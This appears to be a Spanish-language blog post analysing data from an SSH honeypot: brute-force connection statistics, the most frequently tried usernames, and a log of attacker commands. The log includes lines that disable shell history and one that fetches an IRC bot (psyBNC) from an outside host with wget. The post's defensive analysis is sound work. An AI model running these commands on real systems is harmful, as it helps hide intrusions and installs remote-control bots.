Mi programa favorito es sin duda OpenSSH. Te permite abrir una terminal de forma remota, abrir aplicaciones en modo gráfico, crear túneles entre máquinas, redirigir puertos, transferir ficheros, ... y todo ellos de forma segura encriptando el tráfico entre los extremos. OpenSSH goza de un tremendo éxito y se estima que en el 2000 ya lo usaban dos millones de usuarios (fuente); pero esto tiene su lado malo y es que lo hace un blanco muy apetitoso para los atacantes. Existen multitud de máquinas que se dedican a escanear la red buscando equipos con servidores SSH accesibles y a lanzar ataques contra ellos.
OpenSSH inicio su andadura en 1999 y es un desarrollo maduro con muy pocos fallos, aunque inevitablemente surge alguno de vez en cuando; por este motivo la mayoría de los ataques se basan en el uso de fuerza bruta mediante programas como medusa que se dedican a probar un diccionario de nombres de usuario y claves contra una máquina. Para evitar que nuestra máquina se vea comprometida es esencial tener el sistema operativo actualizado y sobre todo una buena configuración del servicio SSH, la cual veremos en otra entrada porque primero nos centraremos en los ataques que podemos sufrir por SSH si tenemos una máquina accesible desde internet.
Para hacernos una idea de los que nos podría pasar si no configuramos adecuadamente nuestro servidor SSH veremos algunos datos que he recolectado en mi máquina utilizando kojoney, un ligero honeypot, escrito en Python, que simula un servidor SSH. Los datos fueron recolectados usando kojoney en el puerto 22 (por defecto) abierto a internet. El periodo de los datos abarca de 03/11/2009 a 25/05/2010 (203 días).
- Número de conexiones: 26567 (130 conexiones por día), de las cuales 2168 consiguieron autentificarse en el honeypot
- Nombres de usuario más usados:
14510 root
448 test
315 nagios
311 oracle
263 admin
163 postgres
144 user
144 operator
121 web
120 ts
112 guest
108 teste
106 zabbix
99 ftp
96 backup
91 office
76 ftpguest
66 test1
60 mysql
59 webmaster
55 ftpuser
54 teamspeak
50 testuser
47 master
46 upload
43 soporte
42 usuario
40 zenoss
39 shoutcast
38 temp
38 svn
- Diferentes IP atacantes: 428
- Numero de atacantes por país:
Si observamos los datos se ve claramente que la táctica de los atacantes se basa en atacar servidores SSH mal configurados, es decir servidores que hacen uso de usuarios y claves por defecto. También llama la atención el elevado número de atacantes, con una media de dos atacantes diferentes por día. Para continuar podemos ver los comandos ejecutados por algunos de estos atacantes:
ls
##Desactiva los logs
unset HISTSAVE
unset HISTLOG
unset HISTORY
##Comprueba los usuarios conectados a la máquina
w
##Intentar cambiar la clave de usuario
passwd
##Intenta obtener información sobre la CPU
cat /proc/cpuinfo
##Comprueba si wget está instalada
wget
##Comprueba que wget puede acceder a internet
wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe
##Descarga un bot para controlar el sistema por IRC
wget http://nasaundernet.is-the-boss.com/psybnc-linux.tgz
La intención del atacante es bastante clara, obtener acceso a la máquina y cambiar la clave de usuario (hay que evitar la posible competencia) para después instalar un bot IRC con el que controlar la máquina. En este caso se trataba de psyBNC. El motivo de controlar la máquina comprometida mediante un bot IRC es poder utilizar la máquina sin conectarse directamente a ella, dejando de esta forma menos huellas; así como poder controlar todas las máquinas comprometidas simultáneamente desde un único canal IRC.
Seguramente el destino de estos servidores comprometidos sea su uso para enviar spam, servir de plataforma para atacar a otras máquinas, usarlos como proxy, ... La mayoría de estas máquinas son servidores sin actualizar y a los que no se presto el interés necesario a lo hora de configurarlos de forma segura. Para que no nos pase esto en la próxima entrada veremos como configurar un servidor SSH de forma segura.
No hay comentarios:
Publicar un comentario